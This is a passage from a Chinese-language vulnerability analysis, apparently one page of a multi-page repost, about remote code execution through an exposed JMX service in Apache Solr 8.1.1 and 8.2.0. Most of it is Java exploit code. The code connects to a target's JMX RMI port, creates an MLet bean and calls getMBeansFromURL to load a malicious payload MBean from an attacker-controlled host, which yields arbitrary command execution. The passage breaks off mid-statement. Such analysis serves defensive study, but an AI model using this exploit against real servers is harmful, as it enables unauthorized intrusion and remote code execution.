Apache Solr 之JMX远程代码漏洞分析

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
            System.out.println("JMXConnectorServer is running");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
使用jconsole连接localhost:1099

执行getMBeansFromURL函数,加载远程payloadmbean,结果如下:

(这个过程我们也可以在代码里自动完成mLet.getMBeansFromURL(“http://192.168.1.110:8080/mlet”);)
通过加载的远程payloadmbean,我们就可以执行任意命令。
 
远程加载远程MBean
上一节中,我们介绍了本地时如何加载使用远程MBean的,有意思的是,这一过程我们在远程也可以实现,换句话说,就是一个对外开放JMX的系统,我们可以通过代码使其加载远程的恶意payloadmbean,从而实现执行任意代码,而Apache Solr的8.1.1和8.2.0 linux版本,恰恰就是这样一个对外开放JMX服务的系统,所以存在远程执行漏洞。
代码如下:
    static void connectAndCmd(String serverName, String port, String command){
        try{
            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
//            System.out.println("URL: " + jmxServiceURL + ", connecting");
            JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null);
//            System.out.println("Connected: " + jmxConnector.getConnectionId());
            MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
            ObjectInstance evil_bean = null;
            try{
                evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME));
            }catch (Exception e){
                evil_bean = null;
            }
            if(evil_bean == null){
                System.out.println("Trying to create bean...");
                ObjectInstance evilObject = null;
                try{
                    evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null);
                }catch (InstanceAlreadyExistsException e){
                    evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
                }
                System.out.println("Load " + evilObject.getClassName());
                //调用getMBeansFromURL从远程服务器获取 MBean
                //加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。
                //MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。
                Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL",
                        new Object[] {String.format("http://192.168.1.110:8080/mlet", InetAddress.getLocalHost().getHostAddress()) },

上一页  [1] [2] [3] [4]  下一页